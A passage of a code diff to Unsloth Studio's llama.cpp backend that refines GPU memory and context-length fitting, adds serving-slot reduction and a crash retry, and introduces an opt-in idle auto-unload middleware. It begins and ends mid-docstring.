env-set quantized cache is budgeted as f16 on + the KV side, whose over-reservation absorbs the dequant scratch). Returns 0 + when dims are missing or ``n_ctx`` <= 0.""" + n_embd = self._embedding_length or 0 + if n_embd <= 0 or n_ctx <= 0: + return 0 + ub = max(1, int(n_ubatch if n_ubatch else self._DEFAULT_N_UBATCH)) + if _kv_bytes_per_elem(cache_type_kv) < 2.0: + # Quantized cache: the dequant scratch dominates and scales with n_embd. + # MLA (compressed KV) needs far less of it: measured 0.94 x n_embd on + # GLM-5.2 and Kimi-K2.7 vs up to 2.02x on regular attention. + ub_scale = ub / self._DEFAULT_N_UBATCH + rate = ( + self._CTX_COMPUTE_BYTES_PER_EMBD_MLA + if self._key_length_mla + else self._CTX_COMPUTE_BYTES_PER_EMBD + ) + per_tok = rate * n_embd * ub_scale + else: + # f16/bf16/f32: only the KQ mask ([n_kv, n_ubatch] f16), n_embd-independent. + per_tok = ub * 2 * self._CTX_COMPUTE_F16_MASK_SAFETY + return int(per_tok * n_ctx) + + def _slots_that_fit_on_gpu( + self, + n_parallel: int, + effective_ctx: int, + gpus: list[tuple[int, int]], + total_by_idx: Optional[dict[int, int]], + base_footprint_bytes: int, + cache_type_kv: Optional[str], + pin_fraction: float, + per_device_overhead_bytes: int, + min_gpus: int, + n_ubatch: Optional[int] = None, + ) -> tuple[Optional[list[int]], bool, int]: + """Largest serving-slot count in [1, n_parallel) whose fully-on-GPU footprint fits, + so Studio keeps the model on GPU (-ngl -1) instead of --fit on, which offloads layers + to host and collapses decode ~3x (oobabooga #6718). ``base_footprint_bytes`` is the + slot-independent footprint (weights + soft overhead + MTP + context-linear compute, + minus the folded compute buffer); each candidate re-adds the slot-sized compute buffer + and KV, then re-selects GPUs like the explicit-context path. Returns (gpu_indices, + use_fit=False, slots) for the largest fitting count, else (None, True, n_parallel). + Only ever reduces; deterministic and unit-testable with synthetic VRAM maps.""" + for slots in range(n_parallel - 1, 0, -1): + cb = self._estimate_compute_buffer_bytes( + n_ubatch = n_ubatch, n_parallel = slots, per_device_tensor = False + ) + if cb <= 0: + cb = self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024 + total = ( + base_footprint_bytes + + cb + + self._estimate_kv_cache_bytes(effective_ctx, cache_type_kv, n_parallel = slots) + ) + gpu_indices, use_fit = self._select_gpus( + total, + gpus, + usable_fraction = pin_fraction, + total_by_idx = total_by_idx, + per_device_overhead_bytes = per_device_overhead_bytes, + min_gpus = min_gpus, + ) + if not use_fit: + return gpu_indices, False, slots + return None, True, n_parallel + def _fit_context_to_vram( self, requested_ctx: int, @@ -3022,6 +3172,7 @@ class LlamaCppBackend: kv_on_gpu: bool = True, mtp_engaged: bool = False, mtp_overhead_fn: Optional[Callable[[int], int]] = None, + compute_ctx_bytes_fn: Optional[Callable[[int], int]] = None, budget_frac: Optional[float] = None, total_mib: Optional[int] = None, ) -> int: @@ -3073,9 +3224,14 @@ class LlamaCppBackend: def _mtp_at(ctx: int) -> int: return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0 + def _cc_at(ctx: int) -> int: + # Context-linear compute-buffer growth (flash-attn KQ mask + scratch); + # the flat term in model_footprint only covers ctx -> 0. + return compute_ctx_bytes_fn(ctx) if compute_ctx_bytes_fn is not None else 0 + # Already fits? kv = self._estimate_kv_cache_bytes(requested_ctx, cache_type_kv, **kv_kwargs) - if model_footprint + kv + _mtp_at(requested_ctx) <= budget_bytes: + if model_footprint + kv + _mtp_at(requested_ctx) + _cc_at(requested_ctx) <= budget_bytes: return requested_ctx # Weights + compute buffer alone exceed budget -- reducing ctx can't help. @@ -3096,7 +3252,7 @@ class LlamaCppBackend: while lo <= hi: mid = (lo + hi) // 2 kv = self._estimate_kv_cache_bytes(mid, cache_type_kv, **kv_kwargs) - if kv + _mtp_at(mid) <= remaining: + if kv + _mtp_at(mid) + _cc_at(mid) <= remaining: best = mid lo = mid + 1 else: @@ -4213,6 +4369,17 @@ class LlamaCppBackend: "expected; otherwise check the llama-server log for the cause." ) + # A live server that never answered 200 on /health is not a bad GGUF: + # the load is too large for VRAM/context, or a local proxy/VPN grabbed + # the loopback probe (#5740). + if "health check timed out" in lowered: + return ( + "llama-server started but never became healthy on its local " + "/health endpoint. Try a smaller context length or a more " + "quantized GGUF, and if you use a VPN or HTTP proxy make sure " + "localhost bypasses it (NO_PROXY=127.0.0.1,localhost)." + ) + # Fallback: genuinely unknown failure (OOM, missing binary ...). return ( "llama-server failed to start. " @@ -4232,6 +4399,7 @@ class LlamaCppBackend: max_target_ctx: Optional[int] = None, total_by_idx: Optional[dict[int, int]] = None, n_ubatch: Optional[int] = None, + soft_overhead_bytes: int = 0, ) -> tuple[int, int, list[int], Optional[list[int]]]: """Plan a ``--split-mode tensor`` load. Pure: no model or GPU needed. @@ -4243,9 +4411,11 @@ class LlamaCppBackend: ``(effective_ctx, max_available_ctx, gpu_indices, tensor_split)``. Policy (assumes >= 2 GPUs; the caller drops the toggle below that): - - Cap context to the KV that fits the pooled VRAM after the weights and - one per-device compute-graph buffer (``_estimate_compute_buffer_bytes``, - deterministic from dims; flat fallback when dims are unavailable). + - Cap context to the KV that fits the pooled VRAM after the weights, one + per-device flat compute-graph buffer (``_estimate_compute_buffer_bytes``, + deterministic from dims; flat fallback when dims are unavailable), and the + per-device context-linear compute growth (``_compute_buffer_ctx_bytes``, + replicated on every device in tensor mode, so summed over the split). llama.cpp's ``--fit`` is a no-op in tensor mode, so this is the only cap, honored even for an explicit ``-c``. It is more accurate than the 0.80 whole-pool heuristic, which over-reserves and leaves VRAM unused. @@ -4254,7 +4424,9 @@ class LlamaCppBackend: share fits the smallest GPU; otherwise it is weighted by usable budget so the roomier GPU absorbs more weight and the smallest keeps room for KV. ``total_by_idx`` enables the total-based occupancy cap; ``n_ubatch`` sizes - the compute buffer. + the compute buffer. ``soft_overhead_bytes`` is the CUDA-context / mmproj / + MTP-draft-graph reserve the layer path folds into ``model_size_fit``; + charged against the pooled budget so tensor mode reserves the same overhead. """ # Per-GPU usable budget: free - (1-frac)*total, else (unknown total, e.g. a @@ -4300,16 +4472,40 @@ class LlamaCppBackend: flat_mtp_bytes = max(0, mtp_flat_reserve_bytes) if mtp_engaged and mtp_overhead_fn is None: flat_mtp_bytes = max(flat_mtp_bytes, 2 * 1024**3) + # soft_overhead_bytes is the CUDA-context / mmproj / MTP-draft-graph reserve + # the layer path folds into model_size_fit. Tensor mode has no --fit valve, so + # an unreserved overshoot OOMs at startup rather than offloading; charge it here + # too. Once (pooled), mirroring the layer path -- the per-device CUDA context is + # a known slight under-charge, left for real multi-GPU data. kv_budget_b = ( - (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 - model_size - flat_mtp_bytes + (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 + - model_size + - flat_mtp_bytes + - max(0, soft_overhead_bytes) ) def _mtp_at(ctx: int) -> int: return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0 + # Context-linear compute buffer, summed over the split. Tensor mode + # replicates the compute graph on EVERY device (measured: the per-device + # buffer grows a flat n_ubatch*2 bytes/token, ~1024 B/tok on Qwen3.5-9B at + # f16, independent of n_embd), so the growth is n_dev x the per-device + # term. cache_type_kv here is always non-quantized (tensor forces f16), so + # _compute_buffer_ctx_bytes returns the light KQ-mask term, not the heavy + # quantized dequant scratch. The flat reserve_mib above only covers ctx->0; + # without this the fit over-pins and OOMs at high context on a tight pool + # (0.5-4 GiB unreserved at 262k-1M across 2-4 GPUs), the tensor-mode analog + # of the layer-split compute bug. + n_dev = len(gpu_indices) + + def _cc_ctx(ctx: int) -> int: + return n_dev * self._compute_buffer_ctx_bytes(ctx, n_ubatch, cache_type_kv) + def _fit_ctx(ctx: int) -> int: - # Largest context whose KV (+ MTP draft reserve) fits the pooled - # budget. Floors small, but never raises an explicit ctx above asked. + # Largest context whose KV (+ MTP draft reserve + context-linear + # compute) fits the pooled budget. Floors small, but never raises an + # explicit ctx above asked. if self._can_estimate_kv() and ctx > 0: ctx_floor = min(2048, ctx) if kv_budget_b <= 0: @@ -4317,11 +4513,13 @@ class LlamaCppBackend: # falls back to layer split. return ctx_floor if mtp_overhead_fn is not None: - # kv(ctx)+mtp(ctx) is not single-linear, so binary search. + # kv(ctx)+mtp(ctx)+compute(ctx) is not single-linear, so binary search. def _consumer(c: int) -> int: - return self._estimate_kv_cache_bytes( - c, cache_type_kv, n_parallel = n_parallel - ) + _mtp_at(c) + return ( + self._estimate_kv_cache_bytes(c, cache_type_kv, n_parallel = n_parallel) + + _mtp_at(c) + + _cc_ctx(c) + ) if _consumer(ctx) <= kv_budget_b: return ctx @@ -4335,9 +4533,10 @@ class LlamaCppBackend: hi = mid - 1 return best kv_at = self._estimate_kv_cache_bytes(ctx, cache_type_kv, n_parallel = n_parallel) - if kv_at <= kv_budget_b: + total_at = kv_at + _cc_ctx(ctx) # both ~linear through the origin + if total_at <= kv_budget_b: return ctx - return max(ctx_floor, int(ctx * kv_budget_b / kv_at)) + return max(ctx_floor, int(ctx * kv_budget_b / total_at)) # KV size unknown -> can't prove a safe cap; floor. return min(4096, ctx) if ctx > 0 else 4096 @@ -4357,10 +4556,23 @@ class LlamaCppBackend: # The MTP reserve also has to fit the even split (mirror the pooled budget): # byte-accurate per-ctx (0 when no fn) plus the same flat cushion as above. mtp_bytes = (_mtp_at(effective_ctx) if effective_ctx > 0 else 0) + flat_mtp_bytes - even_share_mib = (model_size + kv_bytes + mtp_bytes) / len(gpu_indices) / (1024 * 1024) + # Context-linear compute is replicated per device; charge the whole split so + # the weighted ratio reflects it (mirrors kv_budget_b's per-device reserve). + cc_bytes = _cc_ctx(effective_ctx) if effective_ctx > 0 else 0 + even_share_mib = ( + (model_size + kv_bytes + mtp_bytes + cc_bytes) / len(gpu_indices) / (1024 * 1024) + ) tensor_split: Optional[list[int]] = None if even_share_mib > (min_usable_mib - reserve_mib): - adj = [max(0, int(usable_by_idx[i] - reserve_mib)) for i in gpu_indices] + # Each device also holds its replicated share of the context-linear + # compute (cc_bytes/n_dev) on top of the flat reserve. The even-share + # gate above charges cc_bytes; the split weights must subtract it too, or + # the smaller card is weighted above its real usable budget and OOMs (the + # per-device analog of the layer path's per-GPU overhead in _select_gpus). + cc_per_dev_mib = (cc_bytes // len(gpu_indices)) // (1024 * 1024) if cc_bytes else 0 + adj = [ + max(0, int(usable_by_idx[i] - reserve_mib - cc_per_dev_mib)) for i in gpu_indices + ] if sum(adj) > 0: tensor_split = adj return effective_ctx, max_available_ctx, gpu_indices, tensor_split @@ -5123,6 +5335,20 @@ class LlamaCppBackend: # compute buffer); None -> the 512 default in the estimate. _effective_ubatch = _extra_args_n_ubatch(extra_args) + def _cc_bytes(ctx: int, n_gpus: int = 1) -> int: + # Context-linear compute-buffer growth (flash-attn KQ mask + + # attention scratch); the flat _compute_buffer_pipeline folded + # into model_size_fit only covers ctx -> 0. Charged per + # candidate context so the fit can't over-pin and spill. The + # rate depends on the KV cache type (quantized adds a dequant + # scratch), so pass it through. In a layer split this buffer is + # replicated on EVERY device (measured ~equal per GPU), so scale + # by the device count; a large model at high context otherwise + # under-reserves ~(n-1)x it (e.g. Qwen3.5-397B on 3 GPUs). + return max(1, n_gpus) * self._compute_buffer_ctx_bytes( + ctx, _effective_ubatch, cache_type_kv + ) + # Layer-split compute buffer (one lump; tensor mode reserves it # per device in _plan_tensor_parallel). Context-independent, so # fold it into the model footprint for the branches below. Falls @@ -5137,7 +5363,6 @@ class LlamaCppBackend: _compute_buffer_pipeline = ( self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024 ) - model_size_fit = model_size + _compute_buffer_pipeline # Layer split adds a fixed per-device overhead on every GPU. The # folded buffer covers one device; reserve the extra devices' @@ -5145,9 +5370,6 @@ class LlamaCppBackend: # (k=1 adds nothing). _pipeline_overhead_bytes = self._PIPELINE_PER_DEVICE_OVERHEAD_MIB * 1024 * 1024 - def _subset_model_size(n_gpus: int) -> int: - return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes - # Auto-cap context to fit VRAM and select GPUs. Explicit n_ctx: # honor it, cap only if it fits no combination. Auto (native): # prefer fewer GPUs with reduced context (multi-GPU is slower). @@ -5174,6 +5396,21 @@ class LlamaCppBackend: else 0.0 ) _pin_fraction = self._GPU_PIN_VRAM_FRACTION - _flat_mtp_reserve + + # Charge the soft overhead _CTX_FIT_VRAM_FRACTION under-covers on tight + # tiers, gated so plain dense loads (#5106) only pay the CUDA-ctx base. + # CUDA/cuBLAS context is discrete-GPU only (not Metal); the mmproj and + # MTP draft-graph buffers exist on every backend. + _soft_overhead = self._CUDA_CONTEXT_RESERVE_BYTES if gpus else 0 + if effective_is_vision and mmproj_size > 0: + _soft_overhead += int(mmproj_size * (self._MMPROJ_VRAM_SAFETY - 1.0)) + if _mtp_reserves_gpu: + _soft_overhead += self._MTP_DRAFT_COMPUTE_BYTES + model_size_fit = model_size + _compute_buffer_pipeline + _soft_overhead + + def _subset_model_size(n_gpus: int) -> int: + return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes + # Unified-memory budget (0 off Apple Silicon) for the no-GPU Metal cap below. _apple_budget_mib = self._apple_metal_memory_budget_bytes() // (1024 * 1024) @@ -5278,7 +5515,9 @@ class LlamaCppBackend: _tp_flat_mtp, _mtp_bytes(min(2048, effective_ctx) if effective_ctx > 0 else 2048), ) - _tp_required_mib = (model_size + _tp_mtp_floor) / (1024 * 1024) + _tp_required_mib = (model_size + _tp_mtp_floor + _soft_overhead) / ( + 1024 * 1024 + ) if _tp_weight_budget_mib <= _tp_required_mib: logger.info( "Tensor parallelism requested but the pooled VRAM " @@ -5327,6 +5566,7 @@ class LlamaCppBackend: max_target_ctx = self._context_length or target_ctx, total_by_idx = total_by_idx, n_ubatch = _effective_ubatch, + soft_overhead_bytes = _soft_overhead, ) use_fit = False elif gpus and self._can_estimate_kv() and effective_ctx > 0: @@ -5351,6 +5591,9 @@ class LlamaCppBackend: # budget so the fit and the check below agree. pool_budget = _pool_budget_mib(subset, _cap_fraction) _ms = _subset_model_size(n_gpus) + # Compute buffer is replicated per device in a layer + # split, so scale the context term by the subset size. + _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n) capped = self._fit_context_to_vram( native_ctx_for_cap, pool_budget, @@ -5359,13 +5602,16 @@ class LlamaCppBackend: n_parallel = n_parallel, mtp_engaged = _mtp_reserves_gpu, mtp_overhead_fn = mtp_overhead_fn, + compute_ctx_bytes_fn = _cc_sub, budget_frac = 1.0, total_mib = None, ) kv = self._estimate_kv_cache_bytes( capped, cache_type_kv, n_parallel = n_parallel ) - footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024) + footprint_mib = ( + _ms + kv + _mtp_bytes(capped) + _cc_sub(capped) + ) / (1024 * 1024) if footprint_mib <= pool_budget: best_cap = max(best_cap, capped) if best_cap > 0: @@ -5386,13 +5632,18 @@ class LlamaCppBackend: effective_ctx, cache_type_kv, n_parallel = n_parallel ) + _mtp_bytes(effective_ctx) + + _cc_bytes(effective_ctx) ) + # The compute buffer is replicated on every device in a + # layer split; fold it into the per-device reserve so a + # multi-GPU pin sizes each card for its own copy. gpu_indices, use_fit = self._select_gpus( requested_total, gpus, usable_fraction = _pin_fraction, total_by_idx = total_by_idx, - per_device_overhead_bytes = _pipeline_overhead_bytes, + per_device_overhead_bytes = _pipeline_overhead_bytes + + _cc_bytes(effective_ctx), min_gpus = _layer_min_gpus, ) # No silent shrink: effective_ctx stays == requested_ctx. @@ -5423,6 +5674,9 @@ class LlamaCppBackend: subset = ranked[:n_gpus] pool_budget = _pool_budget_mib(subset, pin_fraction) _ms = _subset_model_size(n_gpus) + # Compute buffer is replicated per device in a layer + # split, so scale the context term by the subset size. + _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n) capped = self._fit_context_to_vram( effective_ctx, pool_budget, @@ -5431,13 +5685,16 @@ class LlamaCppBackend: n_parallel = n_parallel, mtp_engaged = _mtp_reserves_gpu, mtp_overhead_fn = mtp_overhead_fn, + compute_ctx_bytes_fn = _cc_sub, budget_frac = 1.0, total_mib = None, ) kv = self._estimate_kv_cache_bytes( capped, cache_type_kv, n_parallel = n_parallel ) - footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024) + footprint_mib = ( + _ms + kv + _mtp_bytes(capped) + _cc_sub(capped) + ) / (1024 * 1024) if footprint_mib <= pool_budget: effective_ctx = capped gpu_indices = sorted(idx for idx, _ in subset) @@ -5460,6 +5717,7 @@ class LlamaCppBackend: _subset_model_size(n_gpus) + kv + _mtp_bytes(effective_ctx) + + _cc_bytes(effective_ctx, n_gpus) ) / (1024 * 1024) if footprint_mib <= _pool_budget_mib(subset, pin_fraction): gpu_indices = sorted(idx for idx, _ in subset) @@ -5514,6 +5772,7 @@ class LlamaCppBackend: n_parallel = n_parallel, mtp_engaged = _mtp_reserves_gpu, mtp_overhead_fn = mtp_overhead_fn, + compute_ctx_bytes_fn = _cc_bytes, budget_frac = 1.0, total_mib = None, ) @@ -5523,6 +5782,7 @@ class LlamaCppBackend: cap, cache_type_kv, n_parallel = n_parallel ) + _mtp_bytes(cap) + + _cc_bytes(cap) ) / (1024 * 1024) # Fit returns the request unchanged when it fits OR weights # exceed budget; only the latter over-commits, so floor to 4096. @@ -5538,6 +5798,48 @@ class LlamaCppBackend: if not explicit_ctx: effective_ctx = max_available_ctx + # Prefer fewer serving slots on GPU over --fit on offload: when the extra + # --parallel slots push the footprint past the pin budget, llama-server + # offloads layers to host and decode collapses ~3x (#6718). Retry the fit + # at fewer slots, keeping the largest count that stays fully on GPU and the + # chosen context. Skips tensor mode / Metal / KV-inestimable paths. + if ( + use_fit + and n_parallel > 1 + and gpus + and self._can_estimate_kv() + and effective_ctx > 0 + ): + # Slot-independent footprint (folded compute buffer swapped out so the + # helper re-adds a slot-sized one per candidate). + _base_footprint = ( + model_size_fit + - _compute_buffer_pipeline + + _mtp_bytes(effective_ctx) + + _cc_bytes(effective_ctx) + ) + _gi_slots, _uf_slots, _slots = self._slots_that_fit_on_gpu( + n_parallel, + effective_ctx, + gpus, + total_by_idx, + _base_footprint, + cache_type_kv, + _pin_fraction, + _pipeline_overhead_bytes + _cc_bytes(effective_ctx), + _layer_min_gpus, + _effective_ubatch, + ) + if not _uf_slots: + logger.info( + "Serving slots reduced %d -> %d to keep the model on GPU " + "(avoid --fit offload) at context %d.", + n_parallel, + _slots, + effective_ctx, + ) + gpu_indices, use_fit, n_parallel = _gi_slots, False, _slots + # MTP reserve at the final context, for the logs below. _mtp_reserve_bytes = _mtp_bytes(effective_ctx) if _mtp_will_engage else 0 if _mtp_will_engage: @@ -5636,8 +5938,10 @@ class LlamaCppBackend: if use_fit: cmd.extend(["--fit", "on"]) elif gpu_indices is not None: - # Fits on selected GPU(s) -- offload all layers - cmd.extend(["-ngl", "-1"]) + # Fits on selected GPU(s) -- force all layers on GPU. --fit off is + # required: without it llama.cpp's default --fit on second-guesses + # and offloads ~1 GB at --parallel 4 even though the model fits. + cmd.extend(["-ngl", "-1", "--fit", "off"]) fully_gpu_offloaded = True server_caps = self.probe_server_capabilities(binary) @@ -6022,6 +6326,33 @@ class LlamaCppBackend: _split_axis_crash = self._is_tensor_split_assert( "\n".join(self._stdout_lines[-50:]) ) + if ( + _spawn_attempt == 0 + and fully_gpu_offloaded + and _startup_crashed + and not _split_axis_crash + ): + # We forced --fit off because Studio's (conservative) VRAM + # math placed the model fully on GPU. A startup crash here + # means that estimate was optimistic, so fall back to --fit + # on and let llama.cpp offload rather than fail the load. + logger.warning( + "llama-server crashed during startup (exit code %s) " + "with forced --fit off; the fit estimate was optimistic, " + "retrying once with --fit on so it can offload. " + "Crash log: %s", + self._process.returncode, + self._llama_log_path, + ) + # Flip Studio's own --fit off (added first, before any + # user extra args) to on; a user's later --fit still wins + # by last-arg. Defensive: if absent, the default is already + # --fit on, so leave it. + _run = list(run_cmd) + if "--fit" in _run: + _run[_run.index("--fit") + 1] = "on" + run_cmd = _run + continue if ( _spawn_attempt == 0 and _fit_retry_allowed @@ -7166,6 +7497,13 @@ class LlamaCppBackend: resolved_roots: list[Path] = [] for root in install_roots: try: + # A --with-llama-cpp-dir local link (symlink/junction) + # resolves into the user's own checkout. Adding it would let + # us treat the user's externally-launched llama-server as our + # orphan and kill it, so leave such roots out of the + # allowlist (we forgo orphan-reaping for local-link installs). + if _is_external_link(root): + continue resolved_roots.append(root.resolve()) except OSError: pass @@ -7475,6 +7813,10 @@ class LlamaCppBackend: time.sleep(interval) + # Leave a marker so _classify_llama_start_failure tells a live but + # never-healthy load (too large, or a proxy hijacking the loopback + # probe) apart from a bad GGUF (#5740). + self._stdout_lines.append(f"llama-server health check timed out after {timeout}s") logger.error(f"llama-server health check timed out after {timeout}s") return False diff --git a/studio/backend/core/inference/llama_keepwarm.py b/studio/backend/core/inference/llama_keepwarm.py new file mode 100644 index 0000000000..4ce663c3ce --- /dev/null +++ b/studio/backend/core/inference/llama_keepwarm.py @@ -0,0 +1,298 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model. + +Off by default (idle seconds = 0). When enabled, a background loop unloads the +loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A +pure-ASGI middleware tracks in-flight inference requests so a long stream that +outlives the TTL is never unloaded mid-response. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import threading +import time + +from loggers import get_logger + +logger = get_logger(__name__) + +_lock = threading.Lock() +_inflight = 0 +# Requests blocked on the unload gate but not yet counted in _inflight: the idle +# loop must not unload while one is waiting (it would unload out from under it). +_pending = 0 +_last_active = time.monotonic() +# The (id, quant) idle-unload last freed, so an alias/unknown request that would +# otherwise 503 against an empty backend can reload it (set on unload, cleared on +# reload). Storing the quant means the reload restores the exact freed variant. +_last_unloaded_model = None +# Guards inflight bumps against the idle-check-then-unload race, and blocks new +# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is +# shared across every event loop in the process, so a per-loop gate would let a +# request on loop B start inference while a swap on loop A tears the model down. +_lifecycle_lock = threading.Lock() + + +@contextlib.asynccontextmanager +async def _unload_gate(): + # Acquire off the loop: non-blocking first (the common uncontended case), else + # poll a non-blocking acquire off a short sleep. Polling keeps the wait off this + # loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is + # not held, so it never leaks (mirrors the auto-switch swap gate). + while not _lifecycle_lock.acquire(blocking = False): + await asyncio.sleep(0.02) + try: + yield + finally: + _lifecycle_lock.release() + + +_INFERENCE_PREFIXES = ("/v1/", "/api/inference/") +_INFERENCE_SUFFIXES = ( + "/chat/completions", + "/completions", + "/messages", + "/messages/count_tokens", # counts via the loaded tokenizer; protect like /messages + "/embeddings", + "/responses", + "/generate/stream", # Studio's own streaming route on the same llama-server + "/audio/generate", # direct GGUF TTS; can outlive the idle TTL +) + + +def _is_inference_path(path: str) -> bool: + if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES): + return True + # Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the + # chat handler and streams from the same backend, so protect it from idle unload. + return path.startswith("/p/") and path.endswith("/v1/chat/completions") + + +def _note_pending() -> None: + global _pending + with _lock: + _pending += 1 + + +def _note_unpending() -> None: + global _pending + with _lock: + _pending = max(0, _pending - 1) + + +def _note_start() -> None: + # Do not stamp _last_active here: while _inflight > 0 the model is already + # protected (see _is_idle), and stamping on start lets an external-provider + # request that is later untracked still reset the local idle timer. + global _inflight, _pending + with _lock: + _pending = max(0, _pending - 1) + _inflight += 1 + + +def _note_end() -> None: + global _inflight, _last_active + with _lock: + _inflight = max(0, _inflight - 1) + _last_active = time.monotonic() + + +def _note_untracked_end() -> None: + # Drop a request that never used the local GGUF without stamping local + # activity, so periodic external-provider traffic can't keep the model warm. + global _inflight + with _lock: + _inflight = max(0, _inflight - 1) + + +def _is_idle(ttl_seconds: float) -> bool: + with _lock: + return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds + + +def _note_activity() -> None: + """Stamp activity, e.g. on a (re)load, so the model survives at least one TTL.""" + global _last_active + with _lock: + _last_active = time.monotonic() + + +def other_inference_request_count( + current_request_counted: bool = True, *, include_pending: bool = True +) -> int: + """Tracked inference requests other than the current route call. + + The middleware counts OpenAI-compatible requests before route code runs, so + the caller is excluded by default. Idle-unload counts pending waiters too (a + swap holding the gate would unload out from under them). The swap guard passes + include_pending=False: a pending request is blocked in the middleware and has + not started inference, so it can't be the request a swap would interrupt. + """ + with _lock: + active = _inflight + if current_request_counted and active > 0: + active -= 1 + return max(0, active) + (_pending if include_pending else 0) + + +# Set on the ASGI scope by a route that proved this request won't touch +# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count +# excludes it and the middleware skips its own end-decrement. +_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked" + + +def untrack_current_request(scope) -> None: + """Drop this request from the in-flight count once the route knows it won't + use the local GGUF, so unrelated external-provider traffic can't trip the + swap busy guard. Idempotent; the middleware then skips its end-decrement.""" + if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY): + return + scope[_UNTRACKED_SCOPE_KEY] = True + _note_untracked_end() + + +def inference_lifecycle_gate(): + """The gate a model swap holds so new inference can't start mid-load. Process- + wide, so a swap on one loop blocks inference starting on any other loop.""" + return _unload_gate() + + +def note_model_loaded() -> None: + """Record a successful GGUF load: stamp activity and drop any reload stash so + a manual load clears it synchronously, not only on the next idle poll.""" + _note_activity() + _set_last_unloaded(None) + + +def note_model_unloaded() -> None: + """Record a deliberate (user/API) unload: drop any idle reload stash so the next + request can't resurrect the just-unloaded model. The idle loop unloads via the + backend directly and then stashes the freed model for an alias reload; an + explicit unload instead means "stay unloaded", so it must not stamp activity.""" + _set_last_unloaded(None) + + +def get_last_unloaded_model(): + with _lock: + return _last_unloaded_model + + +def _set_last_unloaded(value) -> None: + global _last_unloaded_model + with _lock: + _last_unloaded_model = value + + +class LlamaKeepWarmMiddleware: + """Pure ASGI: count in-flight inference requests and stamp activity on completion.""" + + def __init__(self, app): + self.app = app + + async def __call__(self, scope, receive, send): + # Inference endpoints are all POST; skipping non-POST avoids counting CORS + # preflight (OPTIONS). ``or ""`` guards an explicit None path. + if ( + scope.get("type") != "http" + or scope.get("method") != "POST" + or not _is_inference_path(scope.get("path") or "") + ): + await self.app(scope, receive, send) + return + # Always track in-flight on inference paths, even when the feature is off, + # so a stream that starts before idle-unload is enabled can't be unloaded + # mid-response if the operator turns it on during that stream. Counting is + # cheap and invisible to clients (the response is proxied unchanged). + # Mark pending before the gate so the idle loop (which holds the gate while + # unloading) can't free the model while this request is waiting to start. + _note_pending() + started = False + try: + async with _unload_gate(): + _note_start() + started = True + finally: + if not started: + _note_unpending() + ended = {"done": False} + status = {"code": None} + + def _finish() -> None: + # A route that untracked itself already decremented; don't double-count. + if ended["done"]: + return + ended["done"] = True + if scope.get(_UNTRACKED_SCOPE_KEY): + return + # This middleware runs before FastAPI auth, so a 401/403 reaches here + # without ever touching llama.cpp. Decrement the in-flight count (to + # balance _note_start) but do NOT stamp activity, or repeated + # unauthenticated probes on an exposed server would keep the model warm + # and never let idle-unload free VRAM. + if status["code"] in (401, 403): + _note_untracked_end() + else: + _note_end() + + async def send_wrapper(message): + if message.get("type") == "http.response.start": + status["code"] = message.get("status") + # Final body frame marks the end of a (possibly streaming) response. + elif message.get("type") == "http.response.body" and not message.get( + "more_body", False + ): + _finish() + await send(message) + + try: + await self.app(scope, receive, send_wrapper) + finally: + _finish() + + +def _loaded_identity(backend): + if not backend.is_loaded or not backend.model_identifier: + return None + # Third slot is the advertised id (repo id) an auto-switch load sets on the + # backend; it's the override key, so an idle stash keyed by the concrete load + # path doesn't drop the user's saved launch flags on the alias reload. + advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier + return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised) + + +async def idle_unload_loop(poll_seconds: float = 15.0) -> None: + """Unload the loaded GGUF once idle past the configured TTL. Inert when off.""" + from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds + + seen_model = None + while True: + await asyncio.sleep(poll_seconds) + try: + ttl = get_auto_unload_idle_seconds() + if ttl <= 0: + continue + from routes.inference import get_llama_cpp_backend + + backend = get_llama_cpp_backend() + # Track by (id, variant): a (re)loaded model -- including the same repo + # at a different quant -- counts as activity so it survives one TTL + # before its first request (loads bypass the activity middleware). + current = _loaded_identity(backend) + if current != seen_model: + seen_model = current + if current is not None: + _note_activity() + _set_last_unloaded(None) # a model is loaded; drop stale stash + async with _unload_gate(): + if backend.is_loaded and _is_idle(ttl): + freed = _loaded_identity(backend) + await asyncio.to_thread(backend.unload_model) + _set_last_unloaded(freed) # let an alias request reload it + logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl) + seen_model = None + except Exception as exc: + logger.debug("idle_unload_loop iteration failed: %s", exc) diff --git a/studio/backend/core/inference/local_model_resolver.py b/studio/backend/core/inference/local_model_resolver.py new file mode 100644 index 0000000000..002cafe2c8 --- /dev/null +++ b/studio/backend/core/inference/local_model_resolver.py @@ -0,0 +1,269 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF. + +Used by the opt-in auto-switch path. The match is conservative: only names +that map to an already-downloaded local GGUF (and a quant that is actually on +disk) are eligible, so an arbitrary OpenAI model string still falls through to +the loaded model (drop-in compat) and 